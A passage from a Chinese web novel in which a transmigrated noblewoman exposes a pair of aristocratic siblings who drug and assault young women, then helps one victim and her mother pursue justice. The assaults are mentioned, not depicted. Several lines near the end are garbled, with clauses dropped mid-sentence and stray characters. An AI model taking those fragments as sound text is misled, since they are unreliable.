方氏趁机与其他夫人一同离开,所以错过了宓瑶让人整组整组的砍枝,她今日带来的人多,正好可以趁新鲜运回萧府。
“我家府上的暖棚种了许多山茶,若是你喜欢的话,可以去我家挑选。”
方氏一走,在路上耽搁的客人也跟着走了,只有先前与宓瑶搭话的碧衣娘子留了下来,看宓瑶挑选花材。
对上对方大方的笑脸,宓瑶想了想,突然想到了什么:“娘子是不是去过我喜宴,在礼成后去过喜房,夫家姓岳?”
宓瑶说完,见碧衣娘子绽开笑容,就知道她没记错。
“我还想虞夫人忘了我,我娘家姓鄢,我单名一个妘,我夫婿与萧镇使一样都是赵公手下的镇使。”
鄢妘说完,宓瑶脸上的笑容有些闪动。
她会记得鄢妘与她记性好有关,得了宾客名单,她闲着无事便回想了她能记得剧情。
除却记得赵七娘和她那个下三滥兄长,她对萧欻同官职的岳晋也有印象。
岳晋日后会变成萧欻手中的一名大将,而他会追随的萧欻的原因,是因为其妻被赵氏子弟下药凌辱,他妻子不愿顺从后被赵家人杀害埋尸。
萧欻帮他找到了妻子的尸体,给他制造了机会,让他手刃赵五郎为妻报仇。
想到这些,宓瑶再看鄢妘干净的笑脸便开始怨萧欻没用。
她想让萧欻趁早动手,不止是为了自己,还因为想减少受害的倒霉蛋,哪怕是纸片人走剧情,没必要的剧情也可以砍掉除根。
何况鄢妘此刻生动的站在她面前,也纸片不起来。
*
因为想到剧情,宓瑶收集花枝的兴致少了许多,把萧善他们送到了各家孩童一起玩乐的区域,她与鄢妘去了席上。
潘氏在她身上吃过亏,瞧见她只是远远的颔首,没有送上门让她出气的想法。
而潘氏不来,总会有别人送上门。
赵七娘受了训,记着要做戏给旁人看,见着宓瑶立马摆出了笑脸。
“虞姐姐你误会我了,你不接我的帖子,我晓得你是生病不便出门,心中为你担心还来不及,怎么可能因此生气,还教十郎胡说八道。”
“就是,七娘不是小气的人,虞夫人你说话太偏颇,惹得外头谣言纷纷,害了七娘的名声。”
赵七娘身边的黄衣女子排斥地看着宓瑶,“虞夫人若是懂礼,就该在席上澄清误会,还七娘一个清白。”
“三娘,我晓得你担忧我,但你别误会虞姐姐的为人,我方才已经跟她解释了误会,她明了我没错,自然会把当着所有人的面把误会解释清楚,不会是非不分害我因谣言困扰。”
宓瑶没开口,她看得出赵七娘虽然受了训,但没长什么教训。
她姿态做作地轻拍了为她说话的娘子,朝宓瑶介绍身边两人:“这位是林司户大人家的三娘子,这位是汪支使家大娘子。”
“七娘你就是太好了。”
林三娘没有顺着赵七娘的话与宓瑶交谈,而是继续为赵七娘的叫屈,“这般不分青红皂白的人,七娘你那么单纯,与她交好少不得吃亏。”
汪大娘子原本打算朝宓瑶笑笑,听到林三娘那么一说,还没展开的笑容瞬间僵住,点了下头,不自在地赞同了林三娘的话。
“有误会那就把误会说清楚再断定谁对谁错,这会虞夫人一句都还没开口,你们就把话都说完了。”
鄢妘本不打算插.入其中,但见林三娘咄咄逼人,宓瑶又沉默不语,忍不住开口维护道。
“鄢姐姐说得对,三娘你说话太无理。”
被鄢妘横插一脚,赵七娘脸上的笑容有了几分勉强,不晓得鄢妘怎么跟虞女搅合到了一起。
林三娘看着傲慢,但被赵七娘一说,就立刻低了头,气势锐减。
“若是我说的有什么不对,那都是我觉着你做得不对,你别算在七娘的头上。”
对上林三娘的眼睛,相比她的盛气凌人,宓瑶注意到了她的削瘦。
十六七岁的女娘真是该长肉的年岁,她脸上的婴儿肥都瘦没了,脸颊微微内陷,眼下还有些青色。
林三娘与汪大娘子都是五官极为出众的小娘子,但一个魂不守舍,一个看赵七娘的眼色满身是刺。
打量完两人,再看站在两人之中装模作样的赵七娘,宓瑶感到无比的厌烦。
她刚刚还在想萧欻要徐徐图之,她便萧府躺着,躺到他把赵家的麻烦解决了再出门晃荡。
反正她本身也不爱出门。
至于鄢妘,找机会提醒她几次,就可以把破烂剧情抛之脑后。
但这会儿她开始觉得徐徐图之这个词恶心又让人心烦。
“我不接你帖子出门不是因为我生病不适。”
对上赵七娘神色中藏不住的轻慢,宓瑶淡淡开口,“是因为那日在喜房门口,我听见了你与你兄长说,说我长得貌美,要找机会给我下药,好让你兄长品一品我这朵从江南来的娇花。”
赵七娘脸色倏然惨白,宓瑶神情则轻松恣意起来,她嘴角噙着笑:“你都这般说了,我怎么还敢接你帖子。”
“虞姐姐这是在说什么笑,你说的话我从来没有说过!”
赵七娘干笑了两声,推了推身边的林三娘,想她开口帮忙说话,但林三娘没有开口。
她看过去林三娘的脸比她还白,明显已经傻了。
而汪大娘子更是愚蠢,竟然红了眼眶,也不怕被人看出什么。
赵七娘暴躁的想发火,但知道此刻园中的所有人都在看她,赵七娘只能压抑着情绪,假装自如地道:“虞姐姐快收回刚刚的话,你拿我胡说开玩笑无事,但这事关赵家声誉,虞姐姐三思。”
赵七娘试图用赵家威胁宓瑶,可惜宓瑶上一世三思够了,这辈子就没打算三思。
“我亲耳听到的话怎么就是胡说了,我还以为你在我喜房门口就敢与兄长密谋,是觉得这事让所有人知晓也无事,怎么现在不敢认?”
“我没有在你喜房门口密谋!”
面对赵七娘憋不住的怒火,宓瑶悠悠“哦”了一声,“的确是离我喜房有几步远,若不是我耳朵好,险些没听清楚。”
赵七娘记得她与五哥是隐秘地方谈论宓瑶,宓瑶在喜房内怎么也不可能亲耳听到,只可能是那附近有萧家的下人躲藏,听到他们说的话后告诉了她。
知道宓瑶撒谎,赵七娘也不可能傻到当场拆穿,不然她就是直接承认她真有密谋。
“我真没说那些话。”
面对无所忌惮的宓瑶,这会赵七娘除了否认也不知道该说什么,只能含着泪期望宓瑶能升起一丝同情心。
见方氏与其他赵家人赶过来,宓瑶朝鄢妘耳语了几句。
鄢妘还在震惊之中,相比与宓瑶当众说出赵七娘心存歹意,她更震惊赵七娘的蛇蝎心肠。
她嫁到益州后与赵七娘时常在席宴碰到,赵七娘每次见到她,都会亲热地挽着她胳膊叫她鄢姐姐。
因为看出赵七娘生性高傲,与表现出的随和有反差,她就没有与赵七娘深交,谁想到她竟是这种人。
鄢妘正愣着,听到宓瑶的话,她看向摇摇欲坠的林三娘与汪大娘子,没多说什么,在方氏她们过来之前,先把两人拉走了。
宓瑶与赵七娘争执的声响不大,但耐不住她今日打扮的出众,往哪儿站那儿就是绝对的视觉中心。
潘氏与方氏怕了宓瑶,离宓瑶离得远,没想到这一离远,宓瑶就闹出了一场大事。
靠周围人神色怪异的补充,方氏一阵头疼。
这虞女是疯子不成,竟然什么都敢说。
方氏想着怎么圆场,而潘氏看向宓瑶的目光则是更加审视。
上一世宓瑶是快上了赵七娘的钩,才晓得赵七娘心怀不轨,而这一世宓瑶竟然早早知晓了赵七娘是什么人。
那是不是代表宓瑶同她一样,都是重活一世的幸运儿。
若是这样她与上一世不同,又是讨好萧欻,又是善待萧家孩子们都有了缘由。
怪不得变得那么难对付。
“虞娘你那么大一个人了,什么话能说什么话不能乱说你难道心中没数?!事关赵家的声誉,你怎么能胡乱玩笑,还不向各家夫人解释清楚!”
方氏瞪着宓瑶,怕她还要继续发疯,她咬牙切齿地低声威胁:“萧镇使不在益州,你想赵公亲自来管教你!?”
对上方氏愤怒的视线,半晌后,宓瑶乍然翘起唇,眨巴眼睛娇俏的道:“幸好我家萧郎不在益州,不若他晓得旁人如此觊觎我,他那个暴脾气可不得闹得天翻地覆。”
说完,宓瑶吩咐霜华去叫萧翼他们,而她转身就走。
让她收回她说的话不可能。
而继续扯下去,这一园子赵家人,就是濮青他们在暗处守着,她也占不到什便宜。
宓瑶转头走的干脆,方氏一时愣住,等到反应过来要拦,宓瑶的身影已经在回廊消失。
“方姨,不能让虞氏就那么走了,她这一走,不就坐定了七娘密谋对她下手。”
潘氏低声提醒方氏,赵七娘也反应过来,惨白着一张脸道:“不能让她就那么走了,她不说清楚就那么离开,我的清誉全都让她毁了!”
听到赵七娘说话,方氏狠狠瞪她一眼。
她今天会办这场赏花宴,大部分都是方便赵七娘与宓瑶说清楚,赵公重用萧欻,赵家人自然不好与萧家有隔阂。
但谁晓得赵七娘的说清楚,竟然能说的让满益州城的夫人议论纷纷。
她不知道旁人有没有信宓瑶的话,但她能不知道赵七娘私下是什么模样?
若不是现在还有外人在,她真想指着赵七娘的脑袋骂一声蠢。
派了人去拦宓瑶,方氏打起笑脸去跟各家夫人打圆场。
“小辈们有了口角不看场合胡说八道,让各位见笑了。”
潘氏看了周围,朝赵七娘问道:“林三娘和汪娘子呢?”
她知道赵七娘背地里的勾搭,自然知道赵七娘身边那些捧着她的娘子都是怎么回事。
林三娘与汪娘子都是在益州风评不错的小娘子,有她们给赵七娘背书,解释起来也能让旁人多信几分。
“我不晓得。”
赵七娘被宓瑶的口无遮拦吓到六神无主,哪里还注意得了旁人的情况。
想来那两人怕宓瑶已经知道她们的秘密,怕被宓瑶当众指出来躲了起来。
“五姐姐,不会真有人信虞女的话吧?”
赵七娘惴惴不安,她是庶出,靠着讨好五哥才有今天受宠的地位。
若是刚刚宓瑶不是说兄长,而是明确地说是赵五郎便好了,赵五郎受宠,这事若是扯赵五郎身上,家中人会费心解决,她就能隐藏其中。
这一想赵七娘更恨宓瑶,不敢惹男子只敢拿同为女子的她撒气。
真是活脱脱的贱人。
“信不信就看方姨能不能把人带回了。”
潘氏扫过在场人的面色,别说赵七娘平日藏不住的骄蛮,光是从看热闹的心态来说,相比于相信赵七娘无辜清白,明显没有相信赵七娘蛇蝎心肠,私下一套表面一套更有意思。
片刻后梅园奴仆无功而返,赵七娘面色灰白,克制不住怒吼道:“你们那么多人连虞氏一个女人都拦不住!”
“七娘子,虞夫人带了十几个下人,奴才们一路拦截,根本拦不住,等到出了院子,她带的还有持刀的护卫……”
他们哪敢跟佩刀的护卫抢人。
这会赵七娘是彻底慌了,触到其他赵家人嫌恶的眼神,抱着方氏道:“方姨,你信我信我,我真没有说那些话!都是虞氏胡编乱造。”
“我看着你长大,自然是信你的品性。”
当着众人方氏安抚地摸了摸赵七娘的头,等到花宴潦草散去,她阴着一张脸把赵七娘推到了赵七娘嫡母的跟前:“你这庶女胆子比天大,若是赵公没注意这事还好,若是注意,你打算推哪个儿子出来,当虞女口中那个和她合谋的‘兄长’!”
赵母看到赵七娘也是一脸铁青。
上次四房被叫到节度使府邸听训,是因为碧墨书院的李夫子与赵天赫有私交,李夫子在赵天赫面前提了这事。
赵七娘是女娘,赵天赫没把人叫到跟前训斥,但也送了信让她学几日规矩。
如今事又出在赵七娘身上,依然是宓瑶引起。
赵天赫很有可能还会关注。
这一关注轻的还好,推个赵家没出息的郎君挨几句骂即可,但要是查的细了,她家五郎做得那些事很可能会被揪出痕迹。
“你这没脑子的腌臜货,你去惹那个疯女人做什么,当众被人叫破了你是什么东西,连累家中给你善后。”
赵母提起裙子给了赵七娘几脚,赵七娘不敢躲,只是一边哭一边咒骂宓瑶,想让嫡母知晓这事错的是宓瑶。
而赵母怎么不知道错的是宓瑶。
可知道又有什么用,宓瑶就是个天不怕地不怕的疯子,放完厥词拍拍屁股就走了,派人去萧府,府门紧闭,说什么男主人不在家不能见客。
摆明是要与他们家硬碰硬,没有让一步的意思。
想着赵母又给了赵七娘一脚:“若不是你带坏我儿,我如今哪需要那么操心,来人,把她给我关下去。”
“母亲,女儿晓得错了,这都是虞氏的诡计,你莫要恨我……我!我还能让林三娘她们听话,她们什么都不会说的,若是说了她们就完了。”
赵七娘想到什么说道,“虞氏没有证据证明她说的话,哪怕有人信了她的话又如何,女儿又没有真对她做什么,她也找不到证人,证明女儿曾经在别人身上做过那般事,只要咱们家强硬一些,她就是在风言风语!”
赵母听她那么一说,紧绷的心口松了松,只要连累不到她儿子就好。
30-40
第31章 第三十一章【VIP】
宓瑶猜到她那番话说完会引起腥风血雨。
所以回府后她就交代了门房关紧宅门,赵家人上门找她就找借口拒了,连信都不必递到她跟前。
安生地与萧善他们一同吃了点心,听萧善和萧良叽叽喳喳热闹地说了这次短暂出门的见识,闲着无事她开始整治她从梅园带回来的那些花枝。
各类形态的铜瓶从库房拿出摆了一地。
宓瑶先与萧善他们一同选了几支插了蒜头瓶放到听松院,而后她专心修剪半米长的梅枝,搭配松竹,摆弄了半天终于满意地把十几斤重的花卉兽纹双耳赏瓶放在了照壁前头。
怕坏了宓瑶的兴致,虞琇回府后就躲进了房里,让主院的侍女帮她瞧宓瑶何时能闲下来。
她这一等就等到了天黑,见天黑了又想阿姊睡前不会想听烦闷的事情,拖拖拉拉到隔日才眼下挂着黑青站到宓瑶跟前。
虞琇哀怨道:“阿姊要不要派人去寻姐夫,问姐夫如今该怎么办?”
宓瑶昨日就察觉虞琇在躲着她,原本还不晓得虞琇是在干什么,现在见她憋话憋到有气无力的模样,还有什么不懂的。
“你昨日消失半日就是在想这个?”
虞琇没否认,她自觉自个不是孩子,所以昨日梅园跟萧善他们一起,她心思没在傀儡戏上,而是注意着宓瑶周边的动静。
听到阿姊对上赵七娘,她立刻赶了过去,但阿姊雷厉风行,她到后还没开口架已经吵完了,只剩赵七娘她们无可奈何地在原地跺脚。
“我瞧赵七娘身边捧她的娘子该是被她拿捏了把柄,阿姊忘了我听着的话,赵七娘和她兄长得手过不少娘子,当时阿姊应该说出来,将祸水东引。”
她没想到阿姊会当众戳破赵七娘的真面目,但戳破就戳破,阿姊会忍不住都是赵七娘太惹人烦。
只是没有把事情完整说出来,让注意力都集中在自个身上这点不好。
“我看那个林三娘一副魂飞魄散的模样,若是阿姊稍加暗示,她就得出丑。”
而她一出丑,就佐证了阿姊的话,让旁观的人都明白赵七娘做了什么。
对上虞琇认真的神色,宓瑶也开始认真想昨日的事情。
是的,到现在她才开始思虑昨日自个的冲动行事,思考接下来该怎么做。
那么一想她就发现虞琇说的找萧欻的建议不错。
让虞琇再旁磨墨,她提笔给萧欻写了封他女人将要遭人迫害的求救信,墨迹干透熏了梅香她才装袋交给濮青。
“一定要尽快把信交给萧郎,让他快点回来救我。”
拿到信笺,濮青一脸的欲言又止。
昨日宓瑶态度强势,只差把梅园给掀了,回府后又老神在在,他还以为她是心中有数,所以这般恣意自在。
再者她要求救,这都过了一天才想送信是不是太晚,她昨日是干嘛去了?!
哦,她昨日在处理从梅园砍的上百斤花材,雅致地给府邸各处都摆上观赏的瓶花。
“属下会让人尽快把信送到镇使手中,不过镇使公务在身,夫人就是送去急信,镇使怕也难以早日回来。”
“没事,信送了就好。”
萧府大门紧闭,总能等到萧欻回来解决麻烦的那一天。
想好不管自己挑起的脓包,宓瑶写完信又躺回了榻上,找了本画册打发时辰。
不过因为画册比话本看得快,鄢妘上门拜访时,正好是她翻完了两本画册觉着无聊的间隙。
猜到鄢妘上门是来问她什么,她还是让人开门把人请到了待客的正厅。
披上厚厚的貂绒大氅,宓瑶见着鄢妘第一眼就觉得自个冲动了,应该装病装到底,不该因为对鄢妘印象不错,便点头同意见她。
鄢妘眼下挂着跟虞琇一样没睡好的青色,还因为新陈代谢不如虞琇,脸比昨日肿了一圈。
与她相比,宓瑶这个装病的人素着一张白里透红的芙蓉面,神采不说奕奕也差不离多少。
“虞夫人,我一夜都没睡好。”
见到宓瑶,鄢妘先叹了口气,哀怨地看着她,“我本以为你与我一样。”
她想宓瑶心中藏着那么大的秘密,实在太不容易,若不是怕显眼,她昨日就想来萧府,打听是怎么回事。
“我昨日睡得也一般,只是我心绪和面皮各论各的,心情影响不到面色。”
这。
羡慕不来宓瑶的天生丽质,鄢妘挥退了身边侍女,定定地看向她,正色道
昨日宓瑶让她把林三娘她们带走,她就隐隐有所猜测。
等到没了其他人,林三么,是不是知道了什么,她更断定了自己的猜测。
昨日她不敢多问,只么,是她看她们身体不适,才送她们到花厅休息。
等到回家细想,她不止心惊发生在林三娘和汪娘子身上的事,更后怕赵七娘曾经对她的示好。
若是她当初没有看出赵七娘心口不一,接受了赵七娘的示好,是不是她也会成为赵七娘身旁的一员?
真不知赵家兄妹怎么敢!
她赵七娘是赵家女儿,难不成她们就无名无姓,若不是宓瑶听到了这桩隐密,不知道赵七娘还会祸害多少家娘子。
“看出你昨日护着林三娘她们,我虽有猜测,但没有开口问她们任何隐秘,安慰了她们几句,等你走后就劝她们先行归家休息。”
鄢妘回想两人的脸色,怜悯道,“她们神色惶恐不安,看着让人心疼,若是虞夫人你觉得我可信,我愿意尽我所能帮忙,若是虞夫人觉得这事越少人知道越好,我便闭嘴归家不会再与任何人提及这事。”
面对鄢妘真诚信任的目光,宓瑶发现鄢妘误会了一些事情。
鄢妘以为她是要下一盘大棋把赵七娘和她背后的赵五郎一网打尽,而实际她只是不想看到不舒服的画面,所以出言叫破。
她最多起了个提醒作用,能让还没受害的警醒,让加害者心虚收敛。
至于什么充当拯救者拳打恶人,拥抱受害者,她根本没想过,也不想去承担这样责任。
她既没虞琇想的那么坏,怕沾惹麻烦把话彻底说开祸水东引,也没有鄢妘想的那么好,暗地谋划怎么帮助林三娘她们。
所以说,她今个就不该看画册,若是看话本,这会应该看得正入迷,就不会闲着没事选择见鄢妘。
两人对视,虽然不想破坏鄢妘心中她的美好的形象,但避免不说清楚鄢妘一再上门,她直接道:“我只是听到她与她兄长说了那么一番话,不想她一直把目标放在我身上,昨日才开口撕破了脸皮。”
宓瑶漠然的神色让鄢妘意识到了什么,果真宓瑶下一句便是:“我不打算做什么,鄢夫人你也不必想帮我做什么。”
听完,鄢妘沉默看了宓瑶半晌才叹了口气。
“虞夫人这般没什么错,你能把这件事当众戳破,就已经是做了一件大好事。”
哪怕赵家硬把宓瑶昨日说的话,说成了宓瑶说笑不会拿捏分寸,依然能让许多人家上心。
就是林三娘她们……
鄢妘知道宓瑶的选择是对的,也想与她一般少管闲事,但偏偏她过不了心里那一关。
想明白自个的选择,鄢妘站起朝宓瑶告别:“今个我来带了一篮的茶花,你瞧瞧这几个品类喜不喜欢,若是喜欢就去信给我,我再派人送些过来,当然你想去我府邸挑选也成。”
“鄢夫人客气了。”
宓瑶起身送了鄢妘几步,见她背影慢慢被影壁遮挡,最后在视野中消失,宓瑶有些不得劲。
若是鄢妘指责她冷漠,或是用轻蔑的目光瞧她,她反倒觉得自个做的没错。
但鄢妘走得干脆,她就产生了她是混账的念头。
并且这念头到了晚上上榻还萦绕在她思绪之中。
她就是待着不动,按着剧情发展,赵家那两个也落不得好下场,而她要是出手了,她就会牵扯到剧情之中,离她事不关己高高挂起,看纸片人演戏的想法越来越远。
今个守夜的是霜华,见宓瑶迟迟不让吹烛,拿着书辗转反侧,不像平日看书的样子,犹豫片刻,她开口道:“夫人是因为今日鄢夫人上门而困扰?”
宓瑶点了下头,触到霜华困倦的眼皮,怔了下:“什么时辰了?”
“夫人,快子时了。”
“那么晚了?”
宓瑶不信,特意下榻亲眼看了漏时,一看整个人就清醒了起来,她竟然为一件该不该做的闲事耽搁了宝贵的睡眠。
“熄烛熄烛,明日你醒后去找濮青说我要出门,问问鄢夫人家住何处。”
“奴婢记下了。”
翌日听到宓瑶要去找鄢妘,虞琇唉了声:“我就晓得阿姊又要心软,都怪那些人动不动就凑到阿姊周围,累得阿姊管的闲事越来越多。”
“夫人心肠越来越柔软不好?”
霜华暗示地说道,当初主子性格大变,她们俩虽没直接开口讨论什么,但两人面对宓瑶都有些怯怯。
后面发现宓瑶只是变得散漫,没有任何攻击性才慢慢安了心。
“就像是不食人间烟火的仙子慢慢有了人味,我觉得挺好。”
“哼。”
虞琇也觉得好,但就是不觉得高兴。
反正外头的人不值得阿姊费心就是了。
*
再见宓瑶,鄢妘喜意溢于言表,露出了腮边的两个梨涡。
“我就觉得虞夫人会再找我,没想到夫人来的那么快。”
“我是来讨花的。”
宓瑶取下了头上遮风的帷帽,为了不让赵家人察觉到动静,她今日来的小心翼翼,她不止没坐萧家的马车,到岳府都没走正门,而是走得侧门。
“我也没说虞夫人过来不是为了讨花。”
鄢妘笑着挽住了宓瑶的胳膊,快走到了院子才低声道,“汪娘子在我这儿。”
宓瑶惊讶瞧向她:“你叫她过来,还是她自个过来找你?”
“她自个来的,说是想让我们帮帮她。”
提起汪娘子,宓瑶脑海里浮现在赵七娘身边,身形稍丰腴的小娘子,相比于林三娘,能看出汪娘子很排斥站在赵七娘身边。
林三娘会看赵七娘的眼色,蛮横地对待赵七娘不喜欢的人。
但汪娘子站在一旁神不守舍,明显不愿被操控又没办法逃脱。
书上关于赵家兄妹的事只是简单说了他们如何作恶,重点放在男主因为这件事,得到了一名有本事的大将上,所以她不知道林三娘和汪娘子她们之后的命运。
不过不用管书中书写的以后,反正现在一切已经开始改变了。
“虞夫人……”
汪娘子因为独自一人留在屋内,神色有些不安,听到推门的声响,惊慌地站了起来,见到是宓瑶与鄢妘她神色缓和了下来,朝宓瑶福了福身。
“你不用那么害怕,对你不利的消息,同样对赵家兄妹不利,他们现在什么都不敢说,什么都不敢做,你是安全的。”
宓瑶没有婉转的意思,直接挑明了汪娘子害怕的秘密,而听到这话的汪娘子,虽然面色发白,但更多的是安心。
“虞夫人你会说吗?”
几人坐下后,汪*娘子看向宓瑶,忐忑道。
“我如果要说什么在梅园就会说了。”
宓瑶不打算在她会不会保守秘密的问题上过多纠结,“喜宴那日赵七娘与赵五不止说了一句,现在他们回想当日的话,只会惶恐不安,担心我继续开口,更担心你们在这节骨眼上出什么事,让他们脱不开关系,该是他们怕你们,赵公不是任人唯亲的糊涂人。”
“我知道。”
汪娘子点了点头,“昨日赵七娘派人威胁我,让我闭紧嘴巴,不要让人看出马脚,我知道我害怕一切被我父母与世人知晓,赵七娘同样害怕她和赵五郎的勾当公之于众,这是我唯一逃脱她掌控的机会,我想赌一赌,才来找鄢夫人帮忙。”
“我比你大几岁,你称我妘姐姐吧,今日过后,我们就是过命的交情。”
鄢妘温柔地朝汪娘子道,“赵七娘平日没少亲近我,若不是瑶娘叫破她的人品,说不定下一个受她诱骗的就是我。”
“我家里人都唤我芽芽。”
汪芽肯定了鄢妘的猜测,“赵七娘说过,想要对你下手……这益州只要有几分颜色的娘子她都想下手,若是那人与她不合,不愿与她交好,她就会让我们去结交。”
越说汪芽的脸色就越苍白,“我就是被一个我交好的女娘骗了,被侮辱后我去质问她,她哭的比我还委屈,说赵七娘拿了她的落血,她若是不听赵七娘的话,赵七娘就会告诉众人她勾引赵五,主动爬上了赵五的床榻。”
“我那朋友是个呆的,她不晓得赵七娘表现的嚣张,但根本不敢把事情张扬出去,我与她闹翻后,不知赵家兄妹又对她做了什么,没多久她就失足落了河……”
说到最后,汪芽泣不成声,眼泪如同断了线,鄢妘给她擦泪,自个也忍不住哭。
她没想到这场腌臜事里竟然还有人为此丧了命。
“赵家兄妹可真该死,怎么会有那么丧尽天良的人!”
吞了几口气,汪芽继续道:“我一直想豁出去让赵家兄妹得到应有的报应,但我一直找不到合适的机会,直到虞夫人开口。”
她不像是其他上当的小娘子那般胆小,除却第一次被下药,之后无论赵七怎么威胁她,她都没有再从。
她害怕家人知晓她被人诱骗做了错事,但又不愿意被赵家兄妹那么掌控,所以一直在想怎么让两人遭报应。
宓瑶正好在这时出现了。
她羡慕宓瑶能大胆揭开赵七的真面目,也就是那时她才发现,她一直犹豫,不是因为什么没有合适的机会,就是她没她想的那么有勇气。
那一刻她既激动宓瑶说的话,又害怕的发抖,怕宓瑶说出她与林三娘已经受过了侵犯。
“我便算了,我能豁出去被指指点点一辈子,但别牵扯了林三娘,林家家教森严,她爹知道这事一定会让她自缢以示清白,今日我过来她也不敢来,她怕赵七娘的威胁不愿冒险。”
汪芽说完,还没等宓瑶开口,侍女敲门通传道:“夫人,汪支使家的夫人在侧门等待,说要见你。”
听到汪支使,汪芽吓得跳了起来,浑身颤抖,不知如何是好。
“定然是我娘看出了什么,偷偷跟了我过来,这怎么办,前日她就问我怎么突然跟赵七娘交好了,昨日还一直在我院里与我说了许多话,她看出了……”
汪芽双眸含泪,求助的看着宓瑶与鄢妘,“你们别与我娘说好不好,我不想让她晓得我被人害了,做下了那么大错事。”
“犯恶的是赵家兄妹,你是被人欺负了,不是做错了事。”
看到汪芽惨白的面色,宓瑶蹙眉道,“我不知道赵家兄妹说了什么话吓你,不说这世上有在夫家过不下去带着嫁妆和离的娘子,我来益州不爱出门,都晓得有一家夫人是丧夫后带了孩子再嫁,最近新添了一个千金,你倒霉被狗咬了,你难受害怕是正常的,但这算不上什么天塌下来要命事。”
如今的大兴就像是历史上的唐末,因为各地常年征战,人口骤减,朝廷鼓励寡妇再嫁,市井中四嫁五嫁的娘子都有。
除此之外,名门望族中和离再嫁的女子也不少。
赵家兄妹坏的地方,在于他们挑选的都是年纪不大,家世远远比不上赵家,或是家中父亲性格古板,规矩多的小娘子。
“可寡妇是有媒妁之言,我是被赵五……”汪芽触到宓瑶的神色,稍稍镇定了一些,被她那么一说好像真没有那么严重了。
“那说明你更无事,少了一层枷锁。”
“夫人,汪夫人闯进来了!”
侍女急忙通报,没等汪芽找到可以躲藏的地方,垂下的帐幔被大力掀开,与汪芽有几分相似的妇人大口喘着气,看到女儿低头捂着脸想跑,跨步捉住了她的胳膊。
“我就道你好好的,怎么就跟赵七娘那坏胚子玩在了一块!”
瞧见汪芽脸上眼泪,汪夫人骂完也红了眼睛,“哭什么哭,有什么好哭!我这就带你打上赵家,该是让赵家那些遭天谴的龟孙哭!”
听出汪夫人的维护之意,宓瑶跟鄢妘对视一眼安下了心。
本以为长辈比起体谅,会恼羞成怒教训自家孩子丢了家族颜面,实际上汪芽运气很好有个护犊子的娘亲。
屋中升起的温情让宓瑶有些不适,她都做好了与汪母据理力争的打算,但汪母一进门就牢牢的把自个幼崽护在羽翼下,不需要道理,她满腔怒火,能立刻去跟欺辱她女儿的恶人拼命。
第32章 第三十二章【VIP】
汪母缓了一下情绪,才看向宓瑶和鄢妘。
“前两日我听说虞夫人直斥赵七娘私下的阴狠,再看芽芽归家后一副惊弓之鸟的模样,就有了不好的预感,但我也不敢问她,与我夫君商量私下查探,若不是我今日偷偷跟她出来,还不知道什么时候才能晓得这事。”
哪怕心中有预感,她依然劝自己是想多了,她女儿L的脾气哪里是受了委屈会闷不吭声。
谁晓得恰是因为她心存侥幸,才让女儿L多受了那么多罪。
她不敢想她家芽芽这些日子该有多害怕多无助。
“我在这谢一位夫人施以援手,就如虞夫人所说,寡妇都能再嫁,芽芽这事算什么,就当是被狗咬了。”
“不知汪夫人之后打算怎么做?”
鄢妘担忧地看向汪芽,若是汪家人直接打上赵家,不知道汪芽受不受得了。
“我一直都想把赵家兄妹的事公之于众,担忧爹娘觉得我丢人,才忍着不说,如今阿娘说我没错,我就不怕旁人的指点。”
汪母刚进门时汪芽还觉得天塌地陷,觉得自己最难堪最不想让家人知晓的秘密被发现了,但触到娘亲维护她的神态,她猛然就什么都不怕了。
原本觉得被发现就活不成的事,忽然间就变成了一件可以解决的小事。
“这般才是我的女儿L,你说说你,家里头除了你四哥会与你闹,谁不宠着你,你怎么就觉着你被狗咬了,我们不去打狗而是骂你。”
被娘亲那么一说,汪芽也觉得自己蠢得很。
她先是被赵家兄妹吓到,又因为曾经的好友没了命心生恐惧,见赵七娘身旁那些人都在忍气吞声,她就没想过告诉爹娘,让爹娘为自己做主。
就那么随了其他人的想法,觉得这事若是让父母家人知道,整个家都要被毁了。
汪母道过谢后便打算带着汪芽离开,见汪母气势汹汹,打上赵家不像说说而已,宓瑶叫住了母女俩。
“吴盈盈落水前怀了孕,她会自尽,很大原因是赵家兄妹说了许多吓唬她的话。”
吴盈盈就是汪芽刚刚提及骗了她的小娘子,而宓瑶会知道吴盈盈有孕的阴私,是今日她出门前濮青主动告知了她这件事。
——“镇使说夫人若是闲不下来,想与赵家兄妹为难,便把吴娘子生前写的这个册子交给夫人。”
提及这事,宓瑶脑海里浮现濮青一副他主子昏了神,被她迷惑着多宠着她的神色。
想着她就觉得反胃,宠他个头,若不是出门的时间紧急,她少不得立刻动笔给萧欻写一封阴阳怪气的信送过去。
把册子拿出来,宓瑶道:“这上头吴盈盈亲手写了她如何被胁迫,还有她怀孕的事。她留下这册子,该是期望她死后家人能给她讨回公道,但这册子是从吴父的书房里搜出。”
册子既然在吴父的书房里,毫无疑问,吴父肯定是知道了女儿L遭遇的事情。
按濮青话中的意思,吴父会忍而不发,是因为吴家地位远逊于赵家三房。
他把册子保留下来,大约也不是为了君子报仇十年不晚,是打算拿着赵五郎的把柄,往后寻机会讨些好处。
有这样的父亲存在,她能理解为何赵家兄妹能控制那么多人。
他们恶,而那些小娘子的亲人又好到哪里去。
“我知道这般不公平,但你们必须答应我,在讨回公道中,除了已逝的吴娘,不提其他不愿被提及的女子,我就把这册子给你们。”
“我不会说的!我本来就不打算牵扯她们,她们许多人同盈盈一样,若是被世人知晓她们被赵五郎诱骗凌辱,她们宁愿一死。”
汪芽说完看向娘亲,汪母点了点头。
汪母想得更多,不提其他人不止因为善心,还因为拉更多人下水,只会把水搅浑,她知道吴父的德性,无法判断还有多少个吴父会在知道女儿L受辱后,比起报仇只惦记着换取更多的利益。
“我只管我女儿L,与已经去世的吴小娘。”
汪母说完顿了顿,叹了口气道,“芽芽能遇到两位夫人是她的运气。”
若不是两人的善心,谁知道她的芽芽会不会像吴小娘般那么傻。
那么一想她就更恨赵家兄妹,恨不得现在就冲到他们面前,先给他们几刀再说其他。
见汪家母女答应,宓瑶本不想再多说什么,不,不复之前的失魂落魄,她还是忍不自救,哪怕身边的人都吓唬她,告诉她女子遇到这种事是耻辱,,该为坏人掩饰,她今日依然来了。”
对上汪芽的目光,宓瑶直视她道:“你很勇敢也很厉害,中的一个小小波折,往后你想起这段曾经,只会想到你是个不服输的厉害小娘子,你会越来越好,旁人的闲言碎语鸣。”
说完宓瑶就觉得自个太抒情,因为汪芽又哭了,连带着屋里其他两人也眼眶发红。
等到几人情绪恢复,再细致商量了接下来该如何,就各回各家。
宓瑶在马车上疏漏,确定了她能做的都做好了,回到萧府后一派轻松,什话本。
